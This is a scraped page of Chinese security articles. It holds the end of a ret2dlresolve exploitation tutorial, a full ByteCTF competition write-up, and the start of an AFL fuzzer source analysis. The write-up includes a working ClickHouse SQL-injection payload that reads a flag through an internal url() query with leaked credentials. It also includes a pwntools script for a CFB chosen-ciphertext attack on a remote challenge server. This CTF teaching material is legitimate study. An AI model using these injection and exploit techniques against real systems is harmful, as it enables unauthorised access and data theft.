但64位中，地址宽度增加到了8字节，这意味着我们需要更大的缓冲区来操作我们的数据
而64位中的传参需要通过gadget而不是直接通过栈，这意味着我们的payload长度将会增加不止一倍，栈迁移的必要性往往会更大
因此还会连锁地导致write_info的值更加庞大；一旦这个值在无可奈何的情况下过大了，就很有可能造成
**无论怎样精心控制内存都找不到合适的地址空间获取ndx** 的情况了
一般可行的解决方法便是绕过ndx的获取：
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}
如果如下判断语句失败，我们就能够成功绕过
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
我们知道l_info是link_map结构体的成员，因此我们的就应该需要先获取link_map的地址，然后用类似read之类的方式篡改其中的l->l_info[VERSYMIDX
(DT_VERSYM)]为NULL即可
另外一个需要注意的地方便是，64位程序将通过_dl_runtime_resolve_xsavec函数来完成重定位，汇编指令如下：
0x7fe74f08c8ff <_dl_runtime_resolve_xsavec+15> mov qword ptr [rsp], rax
0x7fe74f08c903 <_dl_runtime_resolve_xsavec+19> mov qword ptr [rsp + 8], rcx
0x7fe74f08c908 <_dl_runtime_resolve_xsavec+24> mov qword ptr [rsp + 0x10], rdx
► 0x7fe74f08c90d <_dl_runtime_resolve_xsavec+29> mov qword ptr [rsp + 0x18], rsi <0x600a18>
0x7fe74f08c912 <_dl_runtime_resolve_xsavec+34> mov qword ptr [rsp + 0x20], rdi
0x7fe74f08c917 <_dl_runtime_resolve_xsavec+39> mov qword ptr [rsp + 0x28], r8
0x7fe74f08c91c <_dl_runtime_resolve_xsavec+44> mov qword ptr [rsp + 0x30], r9
我们可以注意到，与32位不同，64位的重定向中，会向rsp地址出放入数据，这就有可能导致我们伪造的栈中数据被破坏
因此还需要再增加一些无用的填充字节
但这也正如我们上面讨论的一样，ret2dlresolve的利用似乎要求我们对栈有着极大的控制权时才能成立，但倘若我们能够这样做，那是不是常规的其他做法也一定可行呢？
只是目前笔者遇到的ret2dlresolve利用大多基于No
Relro保护下，其中也有非常多其他可能的利用环境和利用方式(例如无回显函数、可溢出字节极少等)，但这需要具体例子具体分析，往往在某些地方加上限制也对应着在其他地方放开了限制
## 参考文章：
CTF-WIKI：<https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/>
fanyeee：<https://www.4hou.com/posts/NXkp>
holing：<https://bbs.pediy.com/thread-227034.htm> | 社区文章 |
# ByteCTF
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Reverse
### moderncpp
經過奇怪的一種轉化後將輸入轉化爲01串，應該是一種樹形結構。
類似於哈夫曼樹的感覺，沒有細看。
然後就是一個簡單的tea。
dump出各個字符對應的bit位，算出tea結果，拿去匹配算出flag。
cmps="00001100111100000110100111011000010010100011001011111011011000101000111010100100110011000000110011000000001000100110001111100101101101101111110100000111010111101110011011111110110001101000110111111101100011010101000110101101111001000110100011111010000101000111100000000000000000000000000000000000000000000000000000000000"
map01={}
map01["a"]="100101"
map01["b"]="00001"
map01["c"]="01110"
map01["d"]="11011"
map01["e"]="0011010"
map01["f"]="010010"
map01["g"]="111011"
map01["h"]="01000"
map01["i"]="10110"
map01["j"]="00110111"
map01["k"]="1111010"
map01["l"]="110010"
map01["m"]="00011"
map01["n"]="10000"
map01["o"]="10100011101"
map01["p"]="0110011"
map01["q"]="011000"
map01["r"]="111110"
map01["s"]="01011"
map01["t"]="11000"
map01["u"]="11110110"
map01["v"]="000001"
map01["w"]="111000"
map01["x"]="00101"
map01["y"]="10011"
map01["z"]="101000110"
map01["0"]="1110010"
map01["1"]="100100"
map01["2"]="111111"
map01["3"]="01101"
map01["4"]="11010"
map01["5"]="11110111"
map01["6"]="001100"
map01["7"]="111010"
map01["8"]="00111"
map01["9"]="10101"
map01["!"]="00110110"
map01["@"]="1110011"
map01["#"]="101001"
map01["%"]="00010"
map01["^"]="01111"
map01["&"]="10100011100"
map01["*"]="0110010"
map01["("]="010011"
map01[")"]="111100"
map01["_"]="01010"
map01["+"]="10111"
map01["-"]="10100010"
map01["="]="000000"
map01["["]="110011"
map01["]"]="00100"
map01["{"]="10001"
map01["}"]="1010001111"
map01[";"]="1010000"
path=[]
def output():
strs=""
for i in path:
strs+=i
print(strs)
def dfs(ptr):
if ptr>len(cmps):
return
output()
for k,v in map01.items():
if cmps[ptr:ptr+len(v)]==v:
path.append(k)
dfs(ptr+len(v))
path.remove(k)
dfs(0)
## Misc
### BabyShark
给出了一个流量包，流量包我们可以看到里面第一个TCP流中有利用adbshell进行下载得一个程序。我们将其提取下来反编译。
package com.bytectf.misc1;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class AesUtil {
private static final String CipherMode = "AES/CFB/NoPadding";
private static String byte2hex(byte[] b) {
StringBuilder sb = new StringBuilder(b.length * 2);
int v3;
for(v3 = 0; v3 < b.length; ++v3) {
String v1 = Integer.toHexString(b[v3] & 0xFF);
if(v1.length() == 1) {
sb.append("0");
}
sb.append(v1);
}
return sb.toString().toUpperCase();
}
private static SecretKeySpec createKey(long key) {
return new SecretKeySpec(AesUtil.paddingBytes(AesUtil.longToBytes(key)), "AES");
}
public static String decrypt(long key, String cipherText) {
SecretKeySpec keySpec = AesUtil.createKey(key);
byte[] cipherBytes = AesUtil.hex2byte(cipherText);
try {
Cipher v2 = Cipher.getInstance("AES/CFB/NoPadding");
v2.init(2, keySpec, new IvParameterSpec(new byte[v2.getBlockSize()]));
return new String(v2.doFinal(cipherBytes), "UTF-8");
}
catch(Exception e) {
e.printStackTrace();
return "";
}
}
public static String encrypt(long key, String flag) {
SecretKeySpec keySpec = AesUtil.createKey(key);
try {
byte[] data = flag.getBytes("UTF-8");
Cipher cipher = Cipher.getInstance("AES/CFB/NoPadding");
cipher.init(1, keySpec, new IvParameterSpec(new byte[cipher.getBlockSize()]));
return AesUtil.byte2hex(cipher.doFinal(data));
}
catch(Exception e) {
e.printStackTrace();
return null;
}
}
private static byte[] hex2byte(String inputString) {
if(inputString != null && inputString.length() >= 2) {
String v6 = inputString.toLowerCase();
int l = v6.length() / 2;
byte[] result = new byte[l];
int i;
for(i = 0; i < l; ++i) {
result[i] = (byte)(Integer.parseInt(v6.substring(i * 2, i * 2 + 2), 16) & 0xFF);
}
return result;
}
return new byte[0];
}
public static byte[] longToBytes(long value) {
return new byte[]{((byte)(((int)(value & 0xFFL)))), ((byte)(((int)(value >> 8 & 0xFFL)))), ((byte)(((int)(value >> 16 & 0xFFL)))), ((byte)(((int)(value >> 24 & 0xFFL)))), ((byte)(((int)(value >> 0x20 & 0xFFL)))), ((byte)(((int)(value >> 40 & 0xFFL)))), ((byte)(((int)(value >> 0x30 & 0xFFL)))), ((byte)(((int)(value >> 56 & 0xFFL))))};
}
private static byte[] paddingBytes(byte[] data) {
byte[] padding = new byte[0x20];
int i;
for(i = 0; i < 0x20; ++i) {
padding[i] = i < data.length ? data[i] : 0;
}
return padding;
}
}
以及一些程序不放了。简单说就是利用第一次请求的数据来加密了下当作key
解密apk中的数据就能得到flag了。我们可以发现是protobuf，利用在线网站求解出key直接解密得到flag.
直接抄apk里的src解密
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
public class boom {
private static final String CipherMode = "AES/CFB/NoPadding";
public static void main(String[] args){
long i = 0;
String res;
res = decrypt( (long)244837809871755L,"8939AA47D35006FB2B5FBDB9A810B25294B5D4D76E4204D33BA01F7B3F9D99B1");
System.out.println(res);
}
private static String byte2hex(byte[] b) {
StringBuilder sb = new StringBuilder(b.length * 2);
int v3;
for(v3 = 0; v3 < b.length; ++v3) {
String v1 = Integer.toHexString(b[v3] & 0xFF);
if(v1.length() == 1) {
sb.append("0");
}
sb.append(v1);
}
return sb.toString().toUpperCase();
}
private static SecretKeySpec createKey(long key) {
return new SecretKeySpec(paddingBytes(longToBytes(key)), "AES");
}
public static String decrypt(long key, String cipherText) {
SecretKeySpec keySpec = createKey(key);
byte[] cipherBytes = hex2byte(cipherText);
try {
Cipher v2 = Cipher.getInstance("AES/CFB/NoPadding");
v2.init(2, keySpec, new IvParameterSpec(new byte[v2.getBlockSize()]));
return new String(v2.doFinal(cipherBytes), "UTF-8");
}
catch(Exception e) {
e.printStackTrace();
return "";
}
}
private static byte[] hex2byte(String inputString) {
if(inputString != null && inputString.length() >= 2) {
String v6 = inputString.toLowerCase();
int l = v6.length() / 2;
byte[] result = new byte[l];
int i;
for(i = 0; i < l; ++i) {
result[i] = (byte)(Integer.parseInt(v6.substring(i * 2, i * 2 + 2), 16) & 0xFF);
}
return result;
}
return new byte[0];
}
public static byte[] longToBytes(long value) {
return new byte[]{((byte)(((int)(value & 0xFFL)))), ((byte)(((int)(value >> 8 & 0xFFL)))), ((byte)(((int)(value >> 16 & 0xFFL)))), ((byte)(((int)(value >> 24 & 0xFFL)))), ((byte)(((int)(value >> 0x20 & 0xFFL)))), ((byte)(((int)(value >> 40 & 0xFFL)))), ((byte)(((int)(value >> 0x30 & 0xFFL)))), ((byte)(((int)(value >> 56 & 0xFFL))))};
}
private static byte[] paddingBytes(byte[] data) {
byte[] padding = new byte[0x20];
int i;
for(i = 0; i < 0x20; ++i) {
padding[i] = i < data.length ? data[i] : 0;
}
return padding;
}
}
### Lost Excel
分离excel文件，拿到点阵图，发现LSB隐写。根据提示blocksize=8将其分为8*8pixel的格子
发现有许多循环出现的部分，直接读。
根据格子中黑点出现的位置将其转换为二进制
from PIL import Image
ans=''
def check(temp):
global ans
for y in range(2):
for x in range(2):
if temp.getpixel((x*4,y*4))==(0,0,0):
ans=ans+str(y)+str(x)
for i in range(4,5700):
img=Image.open('{}.png'.format(i))
check(img)
print(ans)
得到01串，读一下 得到flag
### frequently
题目比较简单
dns tunnel中 i,o两种代表 01 获得前一半部分flag。
后一半在DHCP协议中，一次传输一字节。
拼接得到flag.
### HearingNotBelieving
比较简单。
audacity可以发现前面是个二维码。
后面是16段 robot96 的无线电。
还是拼成二维码。都不好扫。。直接利用Qrazybox手点。
拼接得到flag
### 签到
nice game
### 问卷
nice game
## Web
### double sqli
clickhouse注入，路径穿越找到user_01和密码
import requests,re
url = "http://39.105.175.150:30001/"
param = {
"id":f"1 and updatexml(1,concat(0x7e,(SELECT * FROM url('http://127.0.0.1:8123?user=
user_01&password=e3b0c44298fc1c149afb&query=select+flag+from+ctf.flag',
RawBLOB, 'column1 String') LIMIT 0,1),0x7e),1)"
}
res = requests.get(url,params=param)
print(res.text)
## Pwn
### babydroid
Vulnerable类默认导出，
intent作为漏洞利用点传入poc
存在content provider，非导出，构造poc使pwnbabydroid可读取任意文件
这样就可以先跳转到Vulnerable然后传入poc打开读写权限
之后在babydroid跳转到Attack类并且讲读入的flag打回即可
## Crypto
### abusedkey
协议二，传Qc=hc _G, Qs=G，则Ys_ ds = Yc，爆破hs得到协议一私钥，之后协议一传Tc = -Pc，则Kcs = -hc _ds_
G，解密即可。
### JustDecrypt
CFB模式的选择明密文攻击，每次其实只加密一个字节，这一点在Crypto.Cipher.AES.new()的源码注释中可以看到。可以交互52次，刚好是：49次构造原文，1次构造padding，一次还原寄存器状态，正好够了。
# -*- coding: utf-8 -*-
import re
from pwn import *
import string
from Crypto.Util.number import *
from hashlib import sha256
from os import urandom
ip, port = "39.105.181.182", 30001
#context.log_level = "debug"
charset = string.ascii_letters + string.digits
def proof(known, hashcode):
for each1 in charset:
for each2 in charset:
for each3 in charset:
for each4 in charset:
this = each1 + each2 + each3 + each4 + known
if sha256(this.encode()).hexdigest() == hashcode:
return each1 + each2 + each3 + each4
def send(data):
if len(data) % 2 == 1:
data = '0' + data
sh.recvuntil("hex > ")
sh.sendline(data)
if sh.recv(1) == b'N':
raise ValueError
sh.recvuntil("plaintext in hex: \n")
data = sh.recvline(keepends = False)
if len(data) == 0:
return b'\x00'
return long_to_bytes(int(data, 16))
def tohex(s):
return hex(bytes_to_long(s))[2:]
sh = remote(ip, port)
sh.recvuntil("sha256")
data = sh.recvline().decode()
ciphers = b''
known, hashcode = re.findall(r'\(XXXX\+(.*?)\) == (.*?)\n', data)[0]
sh.recvuntil("> ")
log.info("known: %s", known)
log.info("hashcode: %s", hashcode)
ans = proof(known, hashcode)
sh.sendline(ans)
base = urandom(16)
pad = urandom(256)
target = b"Hello, I'm a Bytedancer. Please give me the flag!"
for i in range(49):
this = base + ciphers + long_to_bytes(target[i])
num = 16 - (len(this) % 16)
this += num * b'\x00'
res = send(tohex(this + pad))
# log.info(str(res))
ciphers += long_to_bytes(res[16 + i])
r = urandom(14)
res = send(tohex(base + ciphers + r + b'\x0f' + pad))
# log.info(str(res))
ciphers = ciphers + r + long_to_bytes(res[79])
send(tohex(base))
res = send(tohex(ciphers))
print(res)
sh.interactive()
### Overheard
小根，直接模p上构造个方程，二元Coppersmith：
p = 62606792596600834911820789765744078048692259104005438531455193685836606544743
T0 = 55658005286954458353074331148659743689991644180445271176712023946898001887232
T1 = 10828133361441717892727545369261900198567704830372084498049248764284301737984
PR.< x, y > = PolynomialRing(ZZ)
pol = T0**2 + x**2 + 2*T0*x - T1 - y
X = 2**64
m = 3
gg = []
monomials = []
# x-shifts
for i in range(m+1):
for j in range(m - i + 1):
gg.append(x**j * p**(m-i) * pol**i)
# y-shifts
for i in range(m+1):
for j in range(m - i + 1):
gg.append(y**j * p**(m-i) * pol**i)
# list monomials
for polynomial in gg:
for monomial in polynomial.monomials():
if monomial not in monomials:
monomials.append(monomial)
gg = list(set(gg))
monomials = list(set(monomials))
rows = len(gg)
cols = len(monomials)
B = Matrix(ZZ, rows, cols)
for i in range(rows):
for j in range(cols):
if monomials[j] in gg[i].monomials():
B[i, j] = gg[i].monomial_coefficient(monomials[j]) * monomials[j](X, X)
BL = B.LLL()
new_pol = []
for i in range(rows):
if len(new_pol) == 2:
break
tmp_pol = 0
for j in range(cols):
tmp_pol += monomials[j](x, y) * BL[i, j] / monomials[j](X, X)
if not tmp_pol.is_zero() :
new_pol.append(tmp_pol)
PRR.<w> = PolynomialRing(ZZ)
res = (new_pol[0].resultant(new_pol[1])(w, w)).roots()
for i in res:
if int(i[0]) == i[0]:
x0 = new_pol[0](w, i[0]).roots()[0][0]
print(T0 + x0)
交互部分：
from winpwn import *
p = 62606792596600834911820789765744078048692259104005438531455193685836606544743
io = remote('39.105.38.192', 30000)
io.recvuntil('$ ')
io.send('1\n')
A = int(io.recvuntil('\n').strip())
io.recvuntil('$ ')
io.send('2\n')
B = int(io.recvuntil('\n').strip())
io.recvuntil('$ ')
io.send('3\n')
io.recvuntil('Bob:')
io.send(str(A)+'\n')
T0 = int(io.recvuntil('\n').strip())
io.recvuntil('$ ')
io.send('3\n')
io.recvuntil('Bob:')
io.send(str(pow(A, 2, p))+'\n')
T1 = int(io.recvuntil('\n').strip())
print('T0 =', T0)
print('T1 =', T1)
io.recvuntil('$ ')
io.send('4\n')
io.recvuntil('secret:')
io.interactive()
### easyxor
题目中自定义了加密算法，并分别使用CBC和OFB模式进行加密。
题目中的shift函数是可逆的，其原理与梅森旋转随机数生成中的convert函数是一个意思，所以改改原来代码就能实现shift函数以及convert函数的逆向函数。
接下来分析OFB模式，
首先有一点，我们知道flag的前8个字节为”ByteCTF{“，那么就相当于知道了明文分组1，而我们又知道密文分组1，那么经过异或，就可以得到初始化向量IV的加密值。其次，密钥长度只有24bit，所以可以通过爆破key，然后尝试解密密文分组2，查看字符。
因为不知道flag的字符集，所以只能大范围搜索，通过c++写的脚本搜出来发现很多组符合条件的key，那就拿这些key再解第三个密文分组，这样能决定出唯一一个正确的key。有了key就能解出iv，那所有的东西就出来了。
c++爆破脚本：
#include <stdio.h>
#include <string>
#define ULL unsigned long long int
using namespace std;
ULL shift(ULL m, int k, ULL c) {
if (k < 0) {
return m ^ (m >> (-k)) & c;
}
return m ^ (m << k) & c;
}
ULL convert(ULL m, int key[]) {
ULL c_list[4] = {0x37386180af9ae39e, 0xaf754e29895ee11a, 0x85e1a429a2b7030c, 0x964c5a89f6d3ae8c};
for (int t = 0; t < 4; t ++) {
m = shift(m, key[t], c_list[t]);
}
return m;
}
string Check = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$&*-@_";
int main() {
ULL start = 14682254609762378035;
ULL c1 = 17307588413236231692;
ULL res, m1, tmp;
for(int a = -32; a <= 32; a ++) {
if (a == 0) continue;
for(int b = -32; b <= 32; b ++) {
if (b == 0) continue;
for(int c = -32; c <= 32; c ++) {
if (c == 0) continue;
for(int d = -32; d <= 32; d ++) {
if (d == 0) continue;
int keys[4] = {a, b, c, d};
res = convert(start, keys);
m1 = res ^ c1;
tmp = m1;
bool check = true;
while (m1) {
if (!(Check.find(char(m1 & 0xFF)) != string::npos)) {
check = false;
break;
}
m1 >>= 8;
}
if (check) {
printf("[%d,%d,%d,%d]\n", a, b, c, d);
/*
while (tmp) {
putchar(tmp & 0xFF);
tmp >>= 8;
}
putchar('\n');
putchar('\n');*/
}
}
}
}
}
return 0;
}
获取到可能的key:
[-32,10,11,7]
[-32,20,11,-31]
[-32,20,20,-31]
[-32,25,1,-21]
[-31,-5,27,-18]
[-31,25,24,-27]
[-30,11,27,-13]
[-28,-10,22,9]
[-27,11,22,-17]
[-27,26,-3,-11]
[-27,30,29,-6]
[-26,11,-7,-25]
[-25,12,7,-27]
[-23,-4,24,-11]
[-23,32,-4,19]
[-22,-28,11,-2]
[-22,-3,18,-29]
[-22,3,17,-29]
[-22,3,18,-30]
[-22,26,11,-29]
[-21,20,11,-1]
[-19,12,-2,-31]
[-19,12,17,-7]
[-18,-32,11,10]
[-18,-24,11,24]
[-18,-7,12,24]
[-18,11,31,10]
[-17,-32,1,1]
[-17,-32,11,10]
[-17,-23,21,10]
[-17,-4,21,-9]
[-17,15,31,-8]
[-16,3,18,-7]
[-15,-4,24,-11]
[-12,26,-3,-31]
[-12,31,11,-6]
[-11,25,7,8]
[-11,31,29,8]
[-11,32,-2,-15]
[-10,-4,10,-31]
[-10,-4,17,-31]
[-10,-4,27,-31]
[-8,-6,28,-8]
[-8,31,8,-11]
[-6,-3,4,2]
[-6,12,1,-7]
[-5,8,29,-24]
[-5,30,29,-15]
[-4,-25,17,11]
[-4,-11,-1,10]
[-3,25,23,-30]
[-2,-3,27,14]
[-2,22,23,8]
[-2,23,16,17]
[-1,2,10,-26]
[-1,18,17,-26]
[-1,18,17,-12]
[1,11,8,6]
[3,-4,21,-31]
[5,18,31,-6]
[7,21,11,-14]
[8,16,23,-16]
[9,-31,31,-11]
[11,-13,17,-23]
[11,-5,27,11]
[11,25,-2,19]
[12,26,17,-29]
[14,18,-5,8]
[15,27,-3,-30]
[16,12,7,-23]
[17,2,30,32]
[19,19,15,-18]
[20,16,11,-23]
[21,26,-5,10]
[22,-4,11,-15]
[22,21,-2,-4]
[24,-23,17,21]
[24,-23,17,30]
[24,8,32,-28]
[24,11,-2,9]
[24,20,29,-29]
[25,-31,31,-23]
[25,-4,31,11]
[25,15,1,-12]
[27,-2,16,17]
[27,28,12,-30]
[29,5,-2,10]
[30,-20,32,-6]
[30,26,22,-29]
[31,-4,31,13]
[31,4,18,-11]
[31,8,12,-23]
[31,12,1,-18]
[31,12,8,-13]
[31,20,32,-2]
再通过python检查一遍这些key：
s = '''[-32,10,11,7]
[-32,20,11,-31]
[-32,20,20,-31]
[-32,25,1,-21]
[-31,-5,27,-18]
[-31,25,24,-27]
[-30,11,27,-13]
[-28,-10,22,9]
[-27,11,22,-17]
[-27,26,-3,-11]
[-27,30,29,-6]
[-26,11,-7,-25]
[-25,12,7,-27]
[-23,-4,24,-11]
[-23,32,-4,19]
[-22,-28,11,-2]
[-22,-3,18,-29]
[-22,3,17,-29]
[-22,3,18,-30]
[-22,26,11,-29]
[-21,20,11,-1]
[-19,12,-2,-31]
[-19,12,17,-7]
[-18,-32,11,10]
[-18,-24,11,24]
[-18,-7,12,24]
[-18,11,31,10]
[-17,-32,1,1]
[-17,-32,11,10]
[-17,-23,21,10]
[-17,-4,21,-9]
[-17,15,31,-8]
[-16,3,18,-7]
[-15,-4,24,-11]
[-12,26,-3,-31]
[-12,31,11,-6]
[-11,25,7,8]
[-11,31,29,8]
[-11,32,-2,-15]
[-10,-4,10,-31]
[-10,-4,17,-31]
[-10,-4,27,-31]
[-8,-6,28,-8]
[-8,31,8,-11]
[-6,-3,4,2]
[-6,12,1,-7]
[-5,8,29,-24]
[-5,30,29,-15]
[-4,-25,17,11]
[-4,-11,-1,10]
[-3,25,23,-30]
[-2,-3,27,14]
[-2,22,23,8]
[-2,23,16,17]
[-1,2,10,-26]
[-1,18,17,-26]
[-1,18,17,-12]
[1,11,8,6]
[3,-4,21,-31]
[5,18,31,-6]
[7,21,11,-14]
[8,16,23,-16]
[9,-31,31,-11]
[11,-13,17,-23]
[11,-5,27,11]
[11,25,-2,19]
[12,26,17,-29]
[14,18,-5,8]
[15,27,-3,-30]
[16,12,7,-23]
[17,2,30,32]
[19,19,15,-18]
[20,16,11,-23]
[21,26,-5,10]
[22,-4,11,-15]
[22,21,-2,-4]
[24,-23,17,21]
[24,-23,17,30]
[24,8,32,-28]
[24,11,-2,9]
[24,20,29,-29]
[25,-31,31,-23]
[25,-4,31,11]
[25,15,1,-12]
[27,-2,16,17]
[27,28,12,-30]
[29,5,-2,10]
[30,-20,32,-6]
[30,26,22,-29]
[31,-4,31,13]
[31,4,18,-11]
[31,8,12,-23]
[31,12,1,-18]
[31,12,8,-13]
[31,20,32,-2]'''
s = s.split('\n')
import json
start = 14682254609762378035
for each in s:
key = json.loads(each)
print(long_to_bytes(convert(convert(start, key), key) ^ cipher1[-1]))
print(key)
看到当key=[-12, 26, -3, -31]时输出是正常的，其他的都不对，因此就得到了key，iv也能解了，flag就出了。
# -*- coding: utf-8 -*-
def inverse_right_mask(res, shift, mask, bits=64):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp >> shift & mask
return tmp
def inverse_left_mask(res, shift, mask, bits=64):
tmp = res
for i in range(bits // shift):
tmp = res ^ tmp << shift & mask
return tmp
cipher1 = 3376918514403339497933859505838430514582460830251429894413
cipher2 = 1457899694330042638941792634055154033944787544812083984658
from Crypto.Util.number import *
cipher1 = long_to_bytes(cipher1)
cipher2 = long_to_bytes(cipher2)
group = 3
cipher1 = [bytes_to_long(cipher1[i:i+8]) for i in range(0, 24, 8)]
cipher2 = [bytes_to_long(cipher2[i:i+8]) for i in range(0, 24, 8)]
def shift(m, k, c):
if k < 0:
return m ^ m >> (-k) & c
return m ^ m << k & c
def _shift(cipher, k, c):
if k < 0:
return inverse_right_mask(cipher, -k, c, 64)
return inverse_left_mask(cipher, k, c, 64)
def convert(m, key):
c_list = [0x37386180af9ae39e, 0xaf754e29895ee11a, 0x85e1a429a2b7030c, 0x964c5a89f6d3ae8c]
for t in range(4):
m = shift(m, key[t], c_list[t])
return m
def _convert(c, key):
c_list = [0x37386180af9ae39e, 0xaf754e29895ee11a, 0x85e1a429a2b7030c, 0x964c5a89f6d3ae8c]
for t in range(3, -1, -1):
c = _shift(c, key[t], c_list[t])
return c
key = [-12, 26, -3, -31]
iv = 16476971533267772345
flag = b''
last = iv
for each in cipher1:
cur_c = convert(last, key)
flag += long_to_bytes(cur_c ^ each)
last = cur_c
last = iv
for each in cipher2:
cur_c = _convert(each, key)
flag += long_to_bytes(cur_c ^ last)
last = each
print(flag) | 社区文章 |
# 0x00 前言
总结师傅们笔记，主要源码分析。
# 0x01 代码覆盖率
代码覆盖率是fuzz中基本概念，先了解清这个概念后面的插装编译等概念才好理解。
代码覆盖率是一种度量代码的覆盖程度的方式，也就是指源代码中的某行代码是否已执行；对二进制程序，还可将此概念理解为汇编代码中的某条指令是否已执行。对fuzz来说，当然希望每句代码都能被检测到，覆盖率越高越好。
计量方式主要为三种： **函数** ， **基本块** ， **边界**
# 插桩
插桩是为了覆盖率而实行的方法。
## afl-gcc.c
afl-gcc是gcc的一个封装(wrapper)
主要三个功能
find_as(argv[0]); //找到gcc/clang/llvm编译器
edit_params(argc, argv); //处理参数
execvp(cc_params[0], (char**)cc_params);//执行
打印出`cc_params`,看看真正的参数是什么
gcc -o test test.c -B /usr/local/lib/afl -g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1
看看参数的意思。用了编译优化，指定了编译的标志，最终要的是`-B`指定了 **编译器** (Assembler)
-funroll-loops 执行循环强度消除并消除在循环内部使用的变量。这是用简单而快速的操作（如加法和减法）替代耗时操作（如乘法和除法）的过程
-B <目录> 将 <目录> 添加到编译器的搜索路径中
#ifdef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION /* a flag also shared with libfuzzer) or */
#ifdef __AFL_COMPILER /* (this one is just for AFL). */
这一步正是汇编文件通过as进一步编译成二进制文件，这里替换了Assembler，当然为了插桩
## afl-as.c和afl-as.h
反汇编刚才生成的test,会发现插了一些插入了额外的汇编指令
这两个文件被单独提出来可以来解释这里是怎么操作的
> The sole purpose of this wrapper is to preprocess assembly files generated
> by GCC / clang and inject the instrumentation bits included from afl-as.h.
> It is automatically invoked by the toolchain when compiling programs using
> afl-gcc / afl-clang.
主要是处理不同平台设置标志，处理参数等等.重要函数`add_instrumentation`
fprintf将插桩用的汇编用`fprintf`插如合适的地方
static void add_instrumentation（void）{
......
while (fgets(line, MAX_LINE, inf)) {//读取每行
......
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE));//插入，注意R(MAP_SIZE)
......
//下面有意思是怎么判断合适的地方插入，选择分支，有兴趣自己看看
}
}
下面分别是32位和64位的，和调试看的一样
static const u8* trampoline_fmt_32 =
"\n"
"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leal -16(%%esp), %%esp\n" //太高栈
"movl %%edi, 0(%%esp)\n" //保存寄存器
"movl %%edx, 4(%%esp)\n"
"movl %%ecx, 8(%%esp)\n"
"movl %%eax, 12(%%esp)\n"
"movl $0x%08x, %%ecx\n" //保存随机数
"call __afl_maybe_log\n" //调用__afl_maybe_log
"movl 12(%%esp), %%eax\n"
"movl 8(%%esp), %%ecx\n"
"movl 4(%%esp), %%edx\n"
"movl 0(%%esp), %%edi\n"
"leal 16(%%esp), %%esp\n"
"\n"
"/* --- END --- */\n"
"\n";
static const u8* trampoline_fmt_64 =
"\n"
"/* --- AFL TRAMPOLINE (64-BIT) --- */\n"
"\n"
".align 4\n"
"\n"
"leaq -(128+24)(%%rsp), %%rsp\n"
"movq %%rdx, 0(%%rsp)\n"
"movq %%rcx, 8(%%rsp)\n"
"movq %%rax, 16(%%rsp)\n"
"movq $0x%08x, %%rcx\n"
"call __afl_maybe_log\n"
"movq 16(%%rsp), %%rax\n"
"movq 8(%%rsp), %%rcx\n"
"movq 0(%%rsp), %%rdx\n"
"leaq (128+24)(%%rsp), %%rsp\n"
"\n"
"/* --- END --- */\n"
"\n";
所以能看到，插桩是为了统计覆盖率。至于具体怎么实现，继续看后面
# fork service
这是一种为了不使用`execve()`函数提高效率想出来的办法，省掉动态链接等过程，在lcamtuf的[blog](https://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html)上也有详细的介绍。
## afl-fuzz.c
EXP_ST void init_forkserver(char** argv) {
int st_pipe[2], ctl_pipe[2];//命令管道和状态管道
......
execv(target_path, argv); //执行fork server
}
有两个重点
* 怎么高效重复执行测试样例
* 记录样例的状态
开始fork service确认创建完毕
/* Close the unneeded endpoints. */
//关闭不需要的通道
close(ctl_pipe[0]);
close(st_pipe[1]);
//读取通道状态命令
fsrv_ctl_fd = ctl_pipe[1];
fsrv_st_fd = st_pipe[0];
......
rlen = read(fsrv_st_fd, &status, 4);//从状态通道读取4个字节
/* If we have a four-byte "hello" message from the server, we're all set.
Otherwise, try to figure out what went wrong. */
if (rlen == 4) {//判断读取是否成功
OKF("All right - fork server is up.");
return;
}
## __afl_maybe_log()
这里因为AFL自带的延时检测，所以没法调试看，这里只有看源码
这里先检测是否分配到公共内存，`__afl_area_ptr`里面就是地址，否则先调用`__afl_setup`初始化
.text:0000000000000950 lahf
.text:0000000000000951 seto al
.text:0000000000000954 mov rdx, cs:__afl_area_ptr
.text:000000000000095B test rdx, rdx
.text:000000000000095E jz short __afl_setup
## __afl_forkserver
写4个字节到状态管道`st_pipe[0]`，forkserver告诉fuzzer自己准备好了，而这正好是`rlen = read(fsrv_st_fd,
&status, 4);`中等待的信息
.text:0000000000000ABB __afl_forkserver:
.text:0000000000000ABB push rdx
.text:0000000000000ABC push rdx
.text:0000000000000ABD mov rdx, 4 ; n
.text:0000000000000AC4 lea rsi, __afl_temp ; buf
.text:0000000000000ACB mov rdi, 0C7h ; fd
.text:0000000000000AD2 call _write
.text:0000000000000AD7 cmp rax, 4
.text:0000000000000ADB jnz __afl_fork_resume
## __afl_fork_wait_loop
`fork server`直到从状态管道`read`到4个字节表明`fuzzer`准备好了
text:0000000000000AE1 mov rdx, 4 ; nbytes
.text:0000000000000AE8 lea rsi, __afl_temp ; buf
.text:0000000000000AEF mov rdi, 0C6h ; status
.text:0000000000000AF6 call _read
.text:0000000000000AFB cmp rax, 4
.text:0000000000000AFF jnz __afl_die
.text:0000000000000B05 call _fork
.text:0000000000000B0A cmp rax, 0
.text:0000000000000B0E jl __afl_die
.text:0000000000000B14 jz short __afl_fork_resume
